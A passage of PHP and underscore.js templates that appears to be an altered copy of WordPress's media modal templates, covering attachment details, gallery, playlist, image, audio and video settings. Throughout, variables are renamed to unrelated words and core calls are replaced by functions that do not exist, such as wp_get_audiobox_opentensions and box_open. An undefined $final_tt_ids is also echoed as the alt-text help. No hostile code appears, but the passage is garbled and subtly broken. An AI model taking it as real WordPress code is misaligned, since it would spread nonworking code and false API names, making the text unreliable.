data.meta.bitrate_mode ) { #> {{ ' ' + data.meta.bitrate_mode.toUpperCase() }} <# } #> </div> <# } #> <# if ( data.mediaStates ) { #> <div class="media-states"><strong><?php _e('Used as:'); ?></strong> {{ data.mediaStates }}</div> <# } #> <div class="compat-meta"> <# if ( data.compat && data.compat.meta ) { #> {{{ data.compat.meta }}} <# } #> </div> </div> <div class="settings"> <# var maybeReadOnly = data.can.save || data.allowLocalEdits ? '' : 'readonly'; #> <# if ( 'image' === data.type ) { #> <span class="setting alt-text has-description" data-setting="alt"> <label for="attachment-details-two-column-alt-text" class="name"><?php _e('Alternative Text'); ?></label> <textarea id="attachment-details-two-column-alt-text" aria-describedby="alt-text-description" {{ maybeReadOnly }}>{{ data.alt }}</textarea> </span> <p class="description" id="alt-text-description"><?php echo $final_tt_ids; ?></p> <# } #> <?php if (post_type_supports('attachment', 'title')) { ?> <span class="setting" data-setting="title"> <label for="attachment-details-two-column-title" class="name"><?php _e('Title'); ?></label> <input type="text" id="attachment-details-two-column-title" value="{{ data.title }}" {{ maybeReadOnly }} /> </span> <?php } ?> <# if ( 'audio' === data.type ) { #> <?php foreach (array('artist' => __('Artist'), 'album' => __('Album')) as $url_filename => $wp_actions) { ?> <span class="setting" data-setting="<?php echo esc_attr($url_filename); ?>"> <label for="attachment-details-two-column-<?php echo esc_attr($url_filename); ?>" class="name"><?php echo $wp_actions; ?></label> <input type="text" id="attachment-details-two-column-<?php echo esc_attr($url_filename); ?>" value="{{ data.<?php echo $url_filename; ?> || data.meta.<?php echo $url_filename; ?> || '' }}" /> </span> <?php } ?> <# } #> <span class="setting" data-setting="caption"> <label for="attachment-details-two-column-caption" class="name"><?php _e('Caption'); ?></label> <textarea id="attachment-details-two-column-caption" {{ maybeReadOnly }}>{{ data.caption }}</textarea> </span> <span class="setting" data-setting="description"> <label for="attachment-details-two-column-description" class="name"><?php _e('Description'); ?></label> <textarea id="attachment-details-two-column-description" {{ maybeReadOnly }}>{{ data.description }}</textarea> </span> <span class="setting" data-setting="url"> <label for="attachment-details-two-column-copy-link" class="name"><?php _e('File URL:'); ?></label> <input type="text" class="attachment-details-copy-link" id="attachment-details-two-column-copy-link" value="{{ data.url }}" readonly /> <span class="copy-to-clipboard-container"> <button type="button" class="button button-small copy-attachment-url" data-clipboard-target="#attachment-details-two-column-copy-link"><?php _e('Copy URL to clipboard'); ?></button> <span class="success hidden" aria-hidden="true"><?php _e('Copied!'); ?></span> </span> </span> <div class="attachment-compat"></div> </div> <div class="actions"> <# if ( data.link ) { #> <?php $AudioChunkStreamType = '1' === get_option('wp_attachment_pages_enabled') ? __('View attachment page') : __('View media file'); ?> <a class="view-attachment" href="{{ data.link }}"><?php echo $AudioChunkStreamType; ?></a> <# } #> <# if ( data.can.save ) { #> <# if ( data.link ) { #> <span class="links-separator">|</span> <# } #> <a href="{{ data.editLink }}"><?php _e('Edit more details'); ?></a> <# } #> <# if ( data.can.save && data.link ) { #> <span class="links-separator">|</span> <a href="{{ data.url }}" download><?php _e('Download file'); ?></a> <# } #> <# if ( ! data.uploading && data.can.remove ) { #> <# if ( data.link || data.can.save ) { #> <span class="links-separator">|</span> <# } #> <?php if (MEDIA_TRASH) { ?> <# if ( 'trash' === data.status ) { #> <button type="button" class="button-link untrash-attachment"><?php _e('Restore from Trash'); ?></button> <# } else { #> <button type="button" class="button-link trash-attachment"><?php _e('Move to Trash'); ?></button> <# } #> <?php } else { ?> <button type="button" class="button-link delete-attachment"><?php _e('Delete permanently'); ?></button> <?php } ?> <# } #> </div> </div> </script> <?php // Template for the Attachment "thumbnails" in the Media Grid. ?> <script type="text/html" id="tmpl-attachment"> <div class="attachment-preview js--select-attachment type-{{ data.type }} subtype-{{ data.subtype }} {{ data.orientation }}"> <div class="thumbnail"> <# if ( data.uploading ) { #> <div class="media-progress-bar"><div style="width: {{ data.percent }}%"></div></div> <# } else if ( 'image' === data.type && data.size && data.size.url ) { #> <div class="centered"> <img src="{{ data.size.url }}" draggable="false" alt="" /> </div> <# } else { #> <div class="centered"> <# if ( data.image && data.image.src && data.image.src !== data.icon ) { #> <img src="{{ data.image.src }}" class="thumbnail" draggable="false" alt="" /> <# } else if ( data.sizes && data.sizes.medium ) { #> <img src="{{ data.sizes.medium.url }}" class="thumbnail" draggable="false" alt="" /> <# } else { #> <img src="{{ data.icon }}" class="icon" draggable="false" alt="" /> <# } #> </div> <div class="filename"> <div>{{ data.filename }}</div> </div> <# } #> </div> <# if ( data.buttons.close ) { #> <button type="button" class="button-link attachment-close media-modal-icon"><span class="screen-reader-text"> <?php /* translators: Hidden accessibility text. */ _e('Remove'); ?> </span></button> <# } #> </div> <# if ( data.buttons.check ) { #> <button type="button" class="check" tabindex="-1"><span class="media-modal-icon"></span><span class="screen-reader-text"> <?php /* translators: Hidden accessibility text. */ _e('Deselect'); ?> </span></button> <# } #> <# var maybeReadOnly = data.can.save || data.allowLocalEdits ? '' : 'readonly'; if ( data.describe ) { if ( 'image' === data.type ) { #> <input type="text" value="{{ data.caption }}" class="describe" data-setting="caption" aria-label="<?php esc_attr_e('Caption'); ?>" placeholder="<?php esc_attr_e('Caption…'); ?>" {{ maybeReadOnly }} /> <# } else { #> <input type="text" value="{{ data.title }}" class="describe" data-setting="title" <# if ( 'video' === data.type ) { #> aria-label="<?php esc_attr_e('Video title'); ?>" placeholder="<?php esc_attr_e('Video title…'); ?>" <# } else if ( 'audio' === data.type ) { #> aria-label="<?php esc_attr_e('Audio title'); ?>" placeholder="<?php esc_attr_e('Audio title…'); ?>" <# } else { #> aria-label="<?php esc_attr_e('Media title'); ?>" placeholder="<?php esc_attr_e('Media title…'); ?>" <# } #> {{ maybeReadOnly }} /> <# } } #> </script> <?php // Template for the Attachment details, used for example in the sidebar. ?> <script type="text/html" id="tmpl-attachment-details"> <h2> <?php _e('Attachment Details'); ?> <span class="settings-save-status" role="status"> <span class="spinner"></span> <span class="saved"><?php esc_html_e('Saved.'); ?></span> </span> </h2> <div class="attachment-info"> <# if ( 'audio' === data.type ) { #> <div class="wp-media-wrapper wp-audio"> <audio style="visibility: hidden" controls class="wp-audio-shortcode" width="100%" preload="none"> <source type="{{ data.mime }}" src="{{ data.url }}" /> </audio> </div> <# } else if ( 'video' === data.type ) { var w_rule = ''; if ( data.width ) { w_rule = 'width: ' + data.width + 'px;'; } else if ( wp.media.view.settings.contentWidth ) { w_rule = 'width: ' + wp.media.view.settings.contentWidth + 'px;'; } #> <div style="{{ w_rule }}" class="wp-media-wrapper wp-video"> <video controls="controls" class="wp-video-shortcode" preload="metadata" <# if ( data.width ) { #>width="{{ data.width }}"<# } #> <# if ( data.height ) { #>height="{{ data.height }}"<# } #> <# if ( data.image && data.image.src !== data.icon ) { #>poster="{{ data.image.src }}"<# } #>> <source type="{{ data.mime }}" src="{{ data.url }}" /> </video> </div> <# } else { #> <div class="thumbnail thumbnail-{{ data.type }}"> <# if ( data.uploading ) { #> <div class="media-progress-bar"><div></div></div> <# } else if ( 'image' === data.type && data.size && data.size.url ) { #> <img src="{{ data.size.url }}" draggable="false" alt="" /> <# } else { #> <img src="{{ data.icon }}" class="icon" draggable="false" alt="" /> <# } #> </div> <# } #> <div class="details"> <div class="filename">{{ data.filename }}</div> <div class="uploaded">{{ data.dateFormatted }}</div> <div class="file-size">{{ data.filesizeHumanReadable }}</div> <# if ( 'image' === data.type && ! data.uploading ) { #> <# if ( data.width && data.height ) { #> <div class="dimensions"> <?php /* translators: 1: A number of pixels wide, 2: A number of pixels tall. */ printf(__('%1$s by %2$s pixels'), '{{ data.width }}', '{{ data.height }}'); ?> </div> <# } #> <# if ( data.originalImageURL && data.originalImageName ) { #> <div class="word-wrap-break-word"> <?php _e('Original image:'); ?> <a href="{{ data.originalImageURL }}">{{data.originalImageName}}</a> </div> <# } #> <# if ( data.can.save && data.sizes ) { #> <a class="edit-attachment" href="{{ data.editLink }}&image-editor" target="_blank"><?php _e('Edit Image'); ?></a> <# } #> <# } #> <# if ( data.fileLength && data.fileLengthHumanReadable ) { #> <div class="file-length"><?php _e('Length:'); ?> <span aria-hidden="true">{{ data.fileLength }}</span> <span class="screen-reader-text">{{ data.fileLengthHumanReadable }}</span> </div> <# } #> <# if ( data.mediaStates ) { #> <div class="media-states"><strong><?php _e('Used as:'); ?></strong> {{ data.mediaStates }}</div> <# } #> <# if ( ! data.uploading && data.can.remove ) { #> <?php if (MEDIA_TRASH) { ?> <# if ( 'trash' === data.status ) { #> <button type="button" class="button-link untrash-attachment"><?php _e('Restore from Trash'); ?></button> <# } else { #> <button type="button" class="button-link trash-attachment"><?php _e('Move to Trash'); ?></button> <# } #> <?php } else { ?> <button type="button" class="button-link delete-attachment"><?php _e('Delete permanently'); ?></button> <?php } ?> <# } #> <div class="compat-meta"> <# if ( data.compat && data.compat.meta ) { #> {{{ data.compat.meta }}} <# } #> </div> </div> </div> <# var maybeReadOnly = data.can.save || data.allowLocalEdits ? '' : 'readonly'; #> <# if ( 'image' === data.type ) { #> <span class="setting alt-text has-description" data-setting="alt"> <label for="attachment-details-alt-text" class="name"><?php _e('Alt Text'); ?></label> <textarea id="attachment-details-alt-text" aria-describedby="alt-text-description" {{ maybeReadOnly }}>{{ data.alt }}</textarea> </span> <p class="description" id="alt-text-description"><?php echo $final_tt_ids; ?></p> <# } #> <?php if (post_type_supports('attachment', 'title')) { ?> <span class="setting" data-setting="title"> <label for="attachment-details-title" class="name"><?php _e('Title'); ?></label> <input type="text" id="attachment-details-title" value="{{ data.title }}" {{ maybeReadOnly }} /> </span> <?php } ?> <# if ( 'audio' === data.type ) { #> <?php foreach (array('artist' => __('Artist'), 'album' => __('Album')) as $url_filename => $wp_actions) { ?> <span class="setting" data-setting="<?php echo esc_attr($url_filename); ?>"> <label for="attachment-details-<?php echo esc_attr($url_filename); ?>" class="name"><?php echo $wp_actions; ?></label> <input type="text" id="attachment-details-<?php echo esc_attr($url_filename); ?>" value="{{ data.<?php echo $url_filename; ?> || data.meta.<?php echo $url_filename; ?> || '' }}" /> </span> <?php } ?> <# } #> <span class="setting" data-setting="caption"> <label for="attachment-details-caption" class="name"><?php _e('Caption'); ?></label> <textarea id="attachment-details-caption" {{ maybeReadOnly }}>{{ data.caption }}</textarea> </span> <span class="setting" data-setting="description"> <label for="attachment-details-description" class="name"><?php _e('Description'); ?></label> <textarea id="attachment-details-description" {{ maybeReadOnly }}>{{ data.description }}</textarea> </span> <span class="setting" data-setting="url"> <label for="attachment-details-copy-link" class="name"><?php _e('File URL:'); ?></label> <input type="text" class="attachment-details-copy-link" id="attachment-details-copy-link" value="{{ data.url }}" readonly /> <div class="copy-to-clipboard-container"> <button type="button" class="button button-small copy-attachment-url" data-clipboard-target="#attachment-details-copy-link"><?php _e('Copy URL to clipboard'); ?></button> <span class="success hidden" aria-hidden="true"><?php _e('Copied!'); ?></span> </div> </span> </script> <?php // Template for the Selection status bar. ?> <script type="text/html" id="tmpl-media-selection"> <div class="selection-info"> <span class="count"></span> <# if ( data.editable ) { #> <button type="button" class="button-link edit-selection"><?php _e('Edit Selection'); ?></button> <# } #> <# if ( data.clearable ) { #> <button type="button" class="button-link clear-selection"><?php _e('Clear'); ?></button> <# } #> </div> <div class="selection-view"></div> </script> <?php // Template for the Attachment display settings, used for example in the sidebar. ?> <script type="text/html" id="tmpl-attachment-display-settings"> <h2><?php _e('Attachment Display Settings'); ?></h2> <# if ( 'image' === data.type ) { #> <span class="setting align"> <label for="attachment-display-settings-alignment" class="name"><?php _e('Alignment'); ?></label> <select id="attachment-display-settings-alignment" class="alignment" data-setting="align" <# if ( data.userSettings ) { #> data-user-setting="align" <# } #>> <option value="left"> <?php esc_html_e('Left'); ?> </option> <option value="center"> <?php esc_html_e('Center'); ?> </option> <option value="right"> <?php esc_html_e('Right'); ?> </option> <option value="none" selected> <?php esc_html_e('None'); ?> </option> </select> </span> <# } #> <span class="setting"> <label for="attachment-display-settings-link-to" class="name"> <# if ( data.model.canEmbed ) { #> <?php _e('Embed or Link'); ?> <# } else { #> <?php _e('Link To'); ?> <# } #> </label> <select id="attachment-display-settings-link-to" class="link-to" data-setting="link" <# if ( data.userSettings && ! data.model.canEmbed ) { #> data-user-setting="urlbutton" <# } #>> <# if ( data.model.canEmbed ) { #> <option value="embed" selected> <?php esc_html_e('Embed Media Player'); ?> </option> <option value="file"> <# } else { #> <option value="none" selected> <?php esc_html_e('None'); ?> </option> <option value="file"> <# } #> <# if ( data.model.canEmbed ) { #> <?php esc_html_e('Link to Media File'); ?> <# } else { #> <?php esc_html_e('Media File'); ?> <# } #> </option> <option value="post"> <# if ( data.model.canEmbed ) { #> <?php esc_html_e('Link to Attachment Page'); ?> <# } else { #> <?php esc_html_e('Attachment Page'); ?> <# } #> </option> <# if ( 'image' === data.type ) { #> <option value="custom"> <?php esc_html_e('Custom URL'); ?> </option> <# } #> </select> </span> <span class="setting"> <label for="attachment-display-settings-link-to-custom" class="name"><?php _e('URL'); ?></label> <input type="text" id="attachment-display-settings-link-to-custom" class="link-to-custom" data-setting="linkUrl" /> </span> <# if ( 'undefined' !== typeof data.sizes ) { #> <span class="setting"> <label for="attachment-display-settings-size" class="name"><?php _e('Size'); ?></label> <select id="attachment-display-settings-size" class="size" name="size" data-setting="size" <# if ( data.userSettings ) { #> data-user-setting="imgsize" <# } #>> <?php /** This filter is documented in wp-admin/includes/media.php */ $v_local_header = apply_filters('image_size_names_choose', array('thumbnail' => __('Thumbnail'), 'medium' => __('Medium'), 'large' => __('Large'), 'full' => __('Full Size'))); foreach ($v_local_header as $autodiscovery => $sortable_columns) { ?> <# var size = data.sizes['<?php echo esc_js($autodiscovery); ?>']; if ( size ) { #> <option value="<?php echo esc_attr($autodiscovery); ?>" <?php selected($autodiscovery, 'full'); ?>> <?php echo esc_html($sortable_columns); ?> – {{ size.width }} × {{ size.height }} </option> <# } #> <?php } ?> </select> </span> <# } #> </script> <?php // Template for the Gallery settings, used for example in the sidebar. ?> <script type="text/html" id="tmpl-gallery-settings"> <h2><?php _e('Gallery Settings'); ?></h2> <span class="setting"> <label for="gallery-settings-link-to" class="name"><?php _e('Link To'); ?></label> <select id="gallery-settings-link-to" class="link-to" data-setting="link" <# if ( data.userSettings ) { #> data-user-setting="urlbutton" <# } #>> <option value="post" <# if ( ! wp.media.galleryDefaults.link || 'post' === wp.media.galleryDefaults.link ) { #>selected="selected"<# } #>> <?php esc_html_e('Attachment Page'); ?> </option> <option value="file" <# if ( 'file' === wp.media.galleryDefaults.link ) { #>selected="selected"<# } #>> <?php esc_html_e('Media File'); ?> </option> <option value="none" <# if ( 'none' === wp.media.galleryDefaults.link ) { #>selected="selected"<# } #>> <?php esc_html_e('None'); ?> </option> </select> </span> <span class="setting"> <label for="gallery-settings-columns" class="name select-label-inline"><?php _e('Columns'); ?></label> <select id="gallery-settings-columns" class="columns" name="columns" data-setting="columns"> <?php for ($grouped_options = 1; $grouped_options <= 9; $grouped_options++) { ?> <option value="<?php echo esc_attr($grouped_options); ?>" <# if ( <?php echo $grouped_options; ?> == wp.media.galleryDefaults.columns ) { #>selected="selected"<# } #>> <?php echo esc_html($grouped_options); ?> </option> <?php } ?> </select> </span> <span class="setting"> <input type="checkbox" id="gallery-settings-random-order" data-setting="_orderbyRandom" /> <label for="gallery-settings-random-order" class="checkbox-label-inline"><?php _e('Random Order'); ?></label> </span> <span class="setting size"> <label for="gallery-settings-size" class="name"><?php _e('Size'); ?></label> <select id="gallery-settings-size" class="size" name="size" data-setting="size" <# if ( data.userSettings ) { #> data-user-setting="imgsize" <# } #> > <?php /** This filter is documented in wp-admin/includes/media.php */ $show_label = apply_filters('image_size_names_choose', array('thumbnail' => __('Thumbnail'), 'medium' => __('Medium'), 'large' => __('Large'), 'full' => __('Full Size'))); foreach ($show_label as $privacy_policy_page_content => $wp_actions) { ?> <option value="<?php echo esc_attr($privacy_policy_page_content); ?>"> <?php echo esc_html($wp_actions); ?> </option> <?php } ?> </select> </span> </script> <?php // Template for the Playlists settings, used for example in the sidebar. ?> <script type="text/html" id="tmpl-playlist-settings"> <h2><?php _e('Playlist Settings'); ?></h2> <# var emptyModel = _.isEmpty( data.model ), isVideo = 'video' === data.controller.get('library').props.get('type'); #> <span class="setting"> <input type="checkbox" id="playlist-settings-show-list" data-setting="tracklist" <# if ( emptyModel ) { #> checked="checked" <# } #> /> <label for="playlist-settings-show-list" class="checkbox-label-inline"> <# if ( isVideo ) { #> <?php _e('Show Video List'); ?> <# } else { #> <?php _e('Show Tracklist'); ?> <# } #> </label> </span> <# if ( ! isVideo ) { #> <span class="setting"> <input type="checkbox" id="playlist-settings-show-artist" data-setting="artists" <# if ( emptyModel ) { #> checked="checked" <# } #> /> <label for="playlist-settings-show-artist" class="checkbox-label-inline"> <?php _e('Show Artist Name in Tracklist'); ?> </label> </span> <# } #> <span class="setting"> <input type="checkbox" id="playlist-settings-show-images" data-setting="images" <# if ( emptyModel ) { #> checked="checked" <# } #> /> <label for="playlist-settings-show-images" class="checkbox-label-inline"> <?php _e('Show Images'); ?> </label> </span> </script> <?php // Template for the "Insert from URL" layout. ?> <script type="text/html" id="tmpl-embed-link-settings"> <span class="setting link-text"> <label for="embed-link-settings-link-text" class="name"><?php _e('Link Text'); ?></label> <input type="text" id="embed-link-settings-link-text" class="alignment" data-setting="linkText" /> </span> <div class="embed-container" style="display: none;"> <div class="embed-preview"></div> </div> </script> <?php // Template for the "Insert from URL" image preview and details. ?> <script type="text/html" id="tmpl-embed-image-settings"> <div class="wp-clearfix"> <div class="thumbnail"> <img src="{{ data.model.url }}" draggable="false" alt="" /> </div> </div> <span class="setting alt-text has-description"> <label for="embed-image-settings-alt-text" class="name"><?php _e('Alternative Text'); ?></label> <textarea id="embed-image-settings-alt-text" data-setting="alt" aria-describedby="alt-text-description"></textarea> </span> <p class="description" id="alt-text-description"><?php echo $final_tt_ids; ?></p> <?php /** This filter is documented in wp-admin/includes/media.php */ if (!apply_filters('disable_captions', '')) { ?> <span class="setting caption"> <label for="embed-image-settings-caption" class="name"><?php _e('Caption'); ?></label> <textarea id="embed-image-settings-caption" data-setting="caption"></textarea> </span> <?php } ?> <fieldset class="setting-group"> <legend class="name"><?php _e('Align'); ?></legend> <span class="setting align"> <span class="button-group button-large" data-setting="align"> <button class="button" value="left"> <?php esc_html_e('Left'); ?> </button> <button class="button" value="center"> <?php esc_html_e('Center'); ?> </button> <button class="button" value="right"> <?php esc_html_e('Right'); ?> </button> <button class="button active" value="none"> <?php esc_html_e('None'); ?> </button> </span> </span> </fieldset> <fieldset class="setting-group"> <legend class="name"><?php _e('Link To'); ?></legend> <span class="setting link-to"> <span class="button-group button-large" data-setting="link"> <button class="button" value="file"> <?php esc_html_e('Image URL'); ?> </button> <button class="button" value="custom"> <?php esc_html_e('Custom URL'); ?> </button> <button class="button active" value="none"> <?php esc_html_e('None'); ?> </button> </span> </span> <span class="setting"> <label for="embed-image-settings-link-to-custom" class="name"><?php _e('URL'); ?></label> <input type="text" id="embed-image-settings-link-to-custom" class="link-to-custom" data-setting="linkUrl" /> </span> </fieldset> </script> <?php // Template for the Image details, used for example in the editor. ?> <script type="text/html" id="tmpl-image-details"> <div class="media-embed"> <div class="embed-media-settings"> <div class="column-settings"> <span class="setting alt-text has-description"> <label for="image-details-alt-text" class="name"><?php _e('Alternative Text'); ?></label> <textarea id="image-details-alt-text" data-setting="alt" aria-describedby="alt-text-description">{{ data.model.alt }}</textarea> </span> <p class="description" id="alt-text-description"><?php echo $final_tt_ids; ?></p> <?php /** This filter is documented in wp-admin/includes/media.php */ if (!apply_filters('disable_captions', '')) { ?> <span class="setting caption"> <label for="image-details-caption" class="name"><?php _e('Caption'); ?></label> <textarea id="image-details-caption" data-setting="caption">{{ data.model.caption }}</textarea> </span> <?php } ?> <h2><?php _e('Display Settings'); ?></h2> <fieldset class="setting-group"> <legend class="legend-inline"><?php _e('Align'); ?></legend> <span class="setting align"> <span class="button-group button-large" data-setting="align"> <button class="button" value="left"> <?php esc_html_e('Left'); ?> </button> <button class="button" value="center"> <?php esc_html_e('Center'); ?> </button> <button class="button" value="right"> <?php esc_html_e('Right'); ?> </button> <button class="button active" value="none"> <?php esc_html_e('None'); ?> </button> </span> </span> </fieldset> <# if ( data.attachment ) { #> <# if ( 'undefined' !== typeof data.attachment.sizes ) { #> <span class="setting size"> <label for="image-details-size" class="name"><?php _e('Size'); ?></label> <select id="image-details-size" class="size" name="size" data-setting="size" <# if ( data.userSettings ) { #> data-user-setting="imgsize" <# } #>> <?php /** This filter is documented in wp-admin/includes/media.php */ $v_local_header = apply_filters('image_size_names_choose', array('thumbnail' => __('Thumbnail'), 'medium' => __('Medium'), 'large' => __('Large'), 'full' => __('Full Size'))); foreach ($v_local_header as $autodiscovery => $sortable_columns) { ?> <# var size = data.sizes['<?php echo esc_js($autodiscovery); ?>']; if ( size ) { #> <option value="<?php echo esc_attr($autodiscovery); ?>"> <?php echo esc_html($sortable_columns); ?> – {{ size.width }} × {{ size.height }} </option> <# } #> <?php } ?> <option value="<?php echo esc_attr('custom'); ?>"> <?php _e('Custom Size'); ?> </option> </select> </span> <# } #> <div class="custom-size wp-clearfix<# if ( data.model.size !== 'custom' ) { #> hidden<# } #>"> <span class="custom-size-setting"> <label for="image-details-size-width"><?php _e('Width'); ?></label> <input type="number" id="image-details-size-width" aria-describedby="image-size-desc" data-setting="customWidth" step="1" value="{{ data.model.customWidth }}" /> </span> <span class="sep" aria-hidden="true">×</span> <span class="custom-size-setting"> <label for="image-details-size-height"><?php _e('Height'); ?></label> <input type="number" id="image-details-size-height" aria-describedby="image-size-desc" data-setting="customHeight" step="1" value="{{ data.model.customHeight }}" /> </span> <p id="image-size-desc" class="description"><?php _e('Image size in pixels'); ?></p> </div> <# } #> <span class="setting link-to"> <label for="image-details-link-to" class="name"><?php _e('Link To'); ?></label> <select id="image-details-link-to" data-setting="link"> <# if ( data.attachment ) { #> <option value="file"> <?php esc_html_e('Media File'); ?> </option> <option value="post"> <?php esc_html_e('Attachment Page'); ?> </option> <# } else { #> <option value="file"> <?php esc_html_e('Image URL'); ?> </option> <# } #> <option value="custom"> <?php esc_html_e('Custom URL'); ?> </option> <option value="none"> <?php esc_html_e('None'); ?> </option> </select> </span> <span class="setting"> <label for="image-details-link-to-custom" class="name"><?php _e('URL'); ?></label> <input type="text" id="image-details-link-to-custom" class="link-to-custom" data-setting="linkUrl" /> </span> <div class="advanced-section"> <h2><button type="button" class="button-link advanced-toggle"><?php _e('Advanced Options'); ?></button></h2> <div class="advanced-settings hidden"> <div class="advanced-image"> <span class="setting title-text"> <label for="image-details-title-attribute" class="name"><?php _e('Image Title Attribute'); ?></label> <input type="text" id="image-details-title-attribute" data-setting="title" value="{{ data.model.title }}" /> </span> <span class="setting extra-classes"> <label for="image-details-css-class" class="name"><?php _e('Image CSS Class'); ?></label> <input type="text" id="image-details-css-class" data-setting="extraClasses" value="{{ data.model.extraClasses }}" /> </span> </div> <div class="advanced-link"> <span class="setting link-target"> <input type="checkbox" id="image-details-link-target" data-setting="linkTargetBlank" value="_blank" <# if ( data.model.linkTargetBlank ) { #>checked="checked"<# } #>> <label for="image-details-link-target" class="checkbox-label"><?php _e('Open link in a new tab'); ?></label> </span> <span class="setting link-rel"> <label for="image-details-link-rel" class="name"><?php _e('Link Rel'); ?></label> <input type="text" id="image-details-link-rel" data-setting="linkRel" value="{{ data.model.linkRel }}" /> </span> <span class="setting link-class-name"> <label for="image-details-link-css-class" class="name"><?php _e('Link CSS Class'); ?></label> <input type="text" id="image-details-link-css-class" data-setting="linkClassName" value="{{ data.model.linkClassName }}" /> </span> </div> </div> </div> </div> <div class="column-image"> <div class="image"> <img src="{{ data.model.url }}" draggable="false" alt="" /> <# if ( data.attachment && window.imageEdit ) { #> <div class="actions"> <input type="button" class="edit-attachment button" value="<?php esc_attr_e('Edit Original'); ?>" /> <input type="button" class="replace-attachment button" value="<?php esc_attr_e('Replace'); ?>" /> </div> <# } #> </div> </div> </div> </div> </script> <?php // Template for the Image Editor layout. ?> <script type="text/html" id="tmpl-image-editor"> <div id="media-head-{{ data.id }}"></div> <div id="image-editor-{{ data.id }}"></div> </script> <?php // Template for an embedded Audio details. ?> <script type="text/html" id="tmpl-audio-details"> <# var ext, html5types = { mp3: wp.media.view.settings.embedMimes.mp3, ogg: wp.media.view.settings.embedMimes.ogg }; #> <?php $can_change_status = wp_get_audiobox_opentensions(); ?> <div class="media-embed media-embed-details"> <div class="embed-media-settings embed-audio-settings"> <?php wp_underscore_audio_template(); ?> <# if ( ! _.isEmpty( data.model.src ) ) { ext = data.model.src.split('.').pop(); if ( html5types[ ext ] ) { delete html5types[ ext ]; } #> <span class="setting"> <label for="audio-details-source" class="name"><?php _e('URL'); ?></label> <input type="text" id="audio-details-source" readonly data-setting="src" value="{{ data.model.src }}" /> <button type="button" class="button-link remove-setting"><?php _e('Remove audio source'); ?></button> </span> <# } #> <?php foreach ($can_change_status as $parent_map) { ?> <# if ( ! _.isEmpty( data.model.<?php echo $parent_map; ?> ) ) { if ( ! _.isUndefined( html5types.<?php echo $parent_map; ?> ) ) { delete html5types.<?php echo $parent_map; ?>; } #> <span class="setting"> <label for="audio-details-<?php echo $parent_map . '-source'; ?>" class="name"><?php echo strtoupper($parent_map); ?></label> <input type="text" id="audio-details-<?php echo $parent_map . '-source'; ?>" readonly data-setting="<?php echo $parent_map; ?>" value="{{ data.model.<?php echo $parent_map; ?> }}" /> <button type="button" class="button-link remove-setting"><?php _e('Remove audio source'); ?></button> </span> <# } #> <?php } ?> <# if ( ! _.isEmpty( html5types ) ) { #> <fieldset class="setting-group"> <legend class="name"><?php _e('Add alternate sources for maximum HTML5 playback'); ?></legend> <span class="setting"> <span class="button-large"> <# _.each( html5types, function (mime, type) { #> <button class="button add-media-source" data-mime="{{ mime }}">{{ type }}</button> <# } ) #> </span> </span> </fieldset> <# } #> <fieldset class="setting-group"> <legend class="name"><?php _e('Preload'); ?></legend> <span class="setting preload"> <span class="button-group button-large" data-setting="preload"> <button class="button" value="auto"><?php box_open('Auto', 'auto preload'); ?></button> <button class="button" value="metadata"><?php _e('Metadata'); ?></button> <button class="button active" value="none"><?php _e('None'); ?></button> </span> </span> </fieldset> <span class="setting-group"> <span class="setting checkbox-setting autoplay"> <input type="checkbox" id="audio-details-autoplay" data-setting="autoplay" /> <label for="audio-details-autoplay" class="checkbox-label"><?php _e('Autoplay'); ?></label> </span> <span class="setting checkbox-setting"> <input type="checkbox" id="audio-details-loop" data-setting="loop" /> <label for="audio-details-loop" class="checkbox-label"><?php _e('Loop'); ?></label> </span> </span> </div> </div> </script> <?php // Template for an embedded Video details. ?> <script type="text/html" id="tmpl-video-details"> <# var ext, html5types = { mp4: wp.media.view.settings.embedMimes.mp4, ogv: wp.media.view.settings.embedMimes.ogv, webm: wp.media.view.settings.embedMimes.webm }; #> <?php $allowed_theme_count = wp_get_videobox_opentensions(); ?> <div class="media-embed media-embed-details"> <div class="embed-media-settings embed-video-settings"> <div class="wp-video-holder"> <# var w = ! data.model.width || data.model.width > 640 ? 640 : data.model.width, h = ! data.model.height ? 360 : data.model.height; if ( data.model.width && w !== data.model.width ) { h = Math.ceil( ( h * w ) / data.model.width ); } #> <?php wp_underscore_video_template(); ?> <# if ( ! _.isEmpty( data.model.src ) ) { ext = data.model.src.split('.').pop(); if ( html5types[ ext ] ) { delete html5types[ ext ]; } #> <span class="setting"> <label for="video-details-source" class="name"><?php _e('URL'); ?></label> <input type="text" id="video-details-source" readonly data-setting="src" value="{{ data.model.src }}" /> <button type="button" class="button-link remove-setting"><?php _e('Remove video source'); ?></button> </span> <# } #> <?php foreach ($allowed_theme_count as $parent_map) { ?> <# if ( ! _.isEmpty( data.model.<?php echo $parent_map; ?> ) ) { if ( ! _.isUndefined( html5types.<?php echo $parent_map; ?> ) ) { delete html5types.<?php echo $parent_map; ?>; } #> <span class="setting"> <label for="video-details-<?php echo $parent_map . '-source'; ?>" class="name"><?php echo strtoupper($parent_map); ?></label> <input type="text" id="video-details-<?php echo $parent_map . '-source'; ?>" readonly data-setting="<?php echo $parent_map; ?>" value="{{ data.model.<?php echo $parent_map; ?> }}" /> <button type="button" class="button-link remove-setting"><?php _e('Remove video source'); ?></button> </span> <# } #> <?php } ?> </div> <# if ( ! _.isEmpty( html5types ) ) { #> <fieldset class="setting-group"> <legend class="name"><?php _e('Add alternate sources for maximum HTML5 playback'); ?></legend> <span class="setting"> <span class="button-large"> <# _.each( html5types, function (mime, type) { #> <button class="button add-media-source" data-mime="{{ mime }}">{{ type }}</button> <# } ) #> </span> </span> </fieldset> <# } #> <# if ( ! _.isEmpty( data.model.poster ) ) { #> <span class="setting"> <label for="video-details-poster-image" class="name"><?php _e('Poster Image'); ?></label> <input type="text" id="video-details-poster-image" readonly data-setting="poster" value="{{ data.model.poster }}" /> <button type="button" class="button-link remove-setting"><?php _e('Remove poster image'); ?></button> </span> <# } #> <fieldset class="setting-group"> <legend class="name"><?php _e('Preload'); ?></legend> <span class="setting preload"> <span class="button-group button-large" data-setting="preload"> <button class="button" value="auto"><?php box_open('Auto', 'auto preload'); ?></button> <button class="button" value="metadata"><?php _e('Metadata'); ?></button> <button class="button active" value="none"><?php _e('None'); ?></button> </span> </span> </fieldset> <span class="setting-group"> <span class="setting checkbox-setting autoplay"> <input type="checkbox" id="video-details-autoplay" data-setting="autoplay" /> <label for="video-details-autoplay" class="checkbox-label"><?php _e('Autoplay'); ?></label> </span> <span class="setting checkbox-setting"> <input type="checkbox" id="video-details-loop" data-setting="loop" /> <label for="video-details-loop" class="checkbox-label"><?php _e('Loop'); ?></label> </span> </span> <span class="setting" data-setting="content"> <# var content = ''; if ( ! _.isEmpty( data.model.content ) 